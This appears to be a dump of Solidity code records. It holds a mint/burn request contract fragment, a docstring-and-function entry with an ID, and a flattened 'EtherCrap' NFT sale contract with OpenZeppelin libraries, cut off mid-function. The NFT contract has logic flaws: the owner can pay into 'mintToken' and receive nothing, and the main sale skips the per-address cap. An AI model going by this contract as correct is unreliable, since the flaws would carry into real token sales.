@param burnRequestID burnRequestID of burn request to modify * @param key Key value for uintMap * @param value Value uintMap[key] will be changed to */ function setBurnRequestUintMap( uint256 burnRequestID, string memory key, uint value) public isAuthorized(msg.sender) onlyValidBurnRequest(burnRequestID) { BurnRequest storage request = burnRequests[burnRequestID]; request.uintMap[key] = value; } /** * @notice Modify a mintRequest's stringMap with a specific key pair * @param mintRequestID mintRequestID of mint request to modify * @param key Key value for stringMap * @param value Value stringMap[key] will be changed to */ function setMintRequestStringMap( uint256 mintRequestID, string memory key, string memory value) public isAuthorized(msg.sender) onlyValidMintRequest(mintRequestID) { MintRequest storage request = mintRequests[mintRequestID]; request.stringMap[key] = value; } /** * @notice Modify a burnRequest's stringMap with a specific key pair * @param burnRequestID burnRequestID of burn request to modify * @param key Key value for stringMap * @param value Value stringMap[key] will be changed to */ function setBurnRequestStringMap( uint256 burnRequestID, string memory key, string memory value) public isAuthorized(msg.sender) onlyValidBurnRequest(burnRequestID) { BurnRequest storage request = burnRequests[burnRequestID]; request.stringMap[key] = value; } }
Get a burnRequest's addressMap value with a specific key burnRequestID burnRequestID of mint request to return key Key value for addressMap/
function getBurnRequestAddressMap( uint256 burnRequestID, string memory key) public onlyValidBurnRequest(burnRequestID) view returns (address) { BurnRequest storage request = burnRequests[burnRequestID]; return request.addressMap[key]; }
5,449,327
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; // Imports import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; // ** Contract Author: Hyveli LLC. https://hyveli.com/ ** // /** * @title EtherCrap Implementation Contract * @dev Extends ERC721 Non-Fungible Token Standard basic implementation */ contract EtherCrap is ERC721Enumerable, Pausable, Ownable, ReentrancyGuard { // SafeMath from OpenZeppelin using SafeMath for uint256; // Token IDs as strings. using Strings for uint256; // Counter parameter for token IDs. using Counters for Counters.Counter; Counters.Counter private _tokenIds; // Token Base URI parameters. string public baseURI; string private notRevealedUri; string public baseExtension = ""; /** *** BOOLEAN/STATE PARAMETERS *** **/ // Pre-sale launch - automatically set to false. bool public presaleIsOpen = false; // Main launch sale - automatically set to false. bool public saleIsOpen = false; // Whitelist state parameter - automatically set to true. bool public whitelistState = true; /** *** PURCHASE & SUPPLY PARAMETERS *** **/ // Maximum supply of tokens allowed during launch. uint256 public constant maxSupply = 10000; // Main launch price. uint256 public constant price = 69000000000000000; //0.069 ETH // Maximum quantity of tokens per purchase. uint256 public constant maxQuantityPerPurchase = 30; // Maximum quantity of tokens that a single holder is allowed to have. uint256 public constant maxQuantityPerAddress = 500; // Maximum pre-sale purchases a single address can make. uint256 public constant presalePurchasesMax = 5; // Mapping for the minted balance of each address. mapping(address => uint256) public addressTokenBalance; // Mapping for tracking the pre-sales purchases. mapping(address => uint256) private _presaleClaimed; // Whitelisted addresses for the pre-sale. address[] public whitelistedAddresses; /** *** ERC721 DECLARATION *** * * Our metadata is not revealed until all tokens are minted to ensure a fair purchase! **/ constructor(string memory _name, string memory _symbol, string memory _initBaseURI) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); } // Modifier used on all minting functions. modifier requireMint(uint256 numOfTokens) { require(totalSupply().add(numOfTokens) <= maxSupply, "Quantity reaches over the maximum supply of tokens."); require(numOfTokens > 0, "Quantity must be greater than 0 tokens."); require(numOfTokens <= maxQuantityPerPurchase, "You have exceeded the limit per purchase. Please choose a smaller amount of tokens."); require(price.mul(numOfTokens) == msg.value, "Ether value is not correct. Please check the price and update your transaction value."); _; } // Pauses all functions. Only the owner has access to this function. function pause() public whenNotPaused onlyOwner { _pause(); } // Reverses the pause on all functions. Only the owner has access to this function. function unpause() public whenPaused onlyOwner { _unpause(); } // Whitelists an array of users. EXAMPLE INPUT.) ["ADDRESS1", "ADDRESS2"] function whitelistUsers(address[] calldata _users) public whenNotPaused onlyOwner { delete whitelistedAddresses; whitelistedAddresses = _users; } // Changes the state of whitelist restriction. function setWhitelistState(bool _state) public whenNotPaused onlyOwner { whitelistState = _state; } // Changes the state of the pre-sale. Only the owner has access to this function. function changePresaleState() public whenNotPaused onlyOwner { presaleIsOpen = !presaleIsOpen; } // Changes the state of the launch sale. Only the owner has access to this function. function changeSaleState() public whenNotPaused onlyOwner { saleIsOpen = !saleIsOpen; } // Updates the revealed base URI for all tokens. Only the owner has access to this function. function setBaseURI(string memory _tokenuri) public whenNotPaused onlyOwner returns(string memory) { baseURI = _tokenuri; return baseURI; } // View Base URI. function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // Pre-sale mint tokens by quantity. Must be purchased and match the price set by the owner. function presaleMint(uint _quantity) public whenNotPaused nonReentrant payable requireMint(_quantity) { require(presaleIsOpen, "Pre-sale must be active in order to mint tokens."); require(_quantity <= presalePurchasesMax, 'You cannot purchase this many tokens during pre-sale.'); require(_presaleClaimed[msg.sender].add(_quantity) <= presalePurchasesMax, 'Pre-sale purchase max reached. Please wait for launch.'); if (msg.sender != owner()) { if (whitelistState == true) { require(isWhitelisted(msg.sender), "You are not whitelisted for this sale."); uint256 ownerMintedCount = addressTokenBalance[msg.sender]; require(ownerMintedCount.add(_quantity) <= maxQuantityPerAddress, "Maximum allowed quantity of tokens per holder exceeded."); } require(msg.value >= price.mul(_quantity), "Ether value is not correct. Please check the price and update your transaction value."); } uint256 newItemId; for (uint256 i = 0; i < _quantity; i++) { _tokenIds.increment(); addressTokenBalance[msg.sender]++; _presaleClaimed[msg.sender] += 1; newItemId = totalSupply(); _safeMint(msg.sender, newItemId); } } // Mint tokens by quantity. Must be purchased and match the price set by the owner. function mintToken(uint _quantity) public whenNotPaused nonReentrant payable requireMint(_quantity) { require(saleIsOpen, "Launch sale must be active in order to mint tokens."); uint256 newItemId; if (msg.sender != owner()) { for (uint256 i = 0; i < _quantity; i++) { _tokenIds.increment(); newItemId = totalSupply(); _safeMint(msg.sender, newItemId); } } } // Mint tokens by quantity. Only the owner has access to this function. function reserveTokens(uint _quantity) public whenNotPaused nonReentrant onlyOwner { require(totalSupply().add(_quantity) <= maxSupply, "Quantity reaches over the maximum supply of tokens."); require(_quantity > 0, "Quantity must be greater than 0 tokens."); uint256 newItemId; for (uint256 i = 0; i < _quantity; i++) { _tokenIds.increment(); newItemId = totalSupply(); _safeMint(msg.sender, newItemId); } } // Giveaway tokens by quantity to a single receipient. Only the owner has access to this function. function giveawayTokens(uint _quantity, address recipient) public whenNotPaused nonReentrant onlyOwner { require(totalSupply().add(_quantity) <= maxSupply, "Quantity reaches over the maximum supply of tokens."); require(_quantity > 0, "Quantity must be greater than 0 tokens."); uint256 newItemId; for (uint256 i = 0; i < _quantity; i++) { _tokenIds.increment(); newItemId = totalSupply(); _safeMint(recipient, newItemId); } } // Giveaway a single token to many receipients. Only the owner has access to this function. function giveawayTokenToMultiple(address[] memory recipients) external whenNotPaused nonReentrant onlyOwner { require(totalSupply().add(recipients.length) <= maxSupply, "Quantity reaches over the maximum supply of tokens."); for (uint256 i = 0; i < recipients.length; i++) { giveawayTokens(1, recipients[i]); } } // Check if whitelisted. function isWhitelisted(address _user) public view returns (bool) { for (uint i = 0; i < whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } // Check token balance. function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } // Withdraw the funds from the contract. Only the owner has access to this function. function withdraw() public whenNotPaused onlyOwner nonReentrant { address payable to = payable(msg.sender); uint256 balance = address(this).balance; to.transfer(balance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, 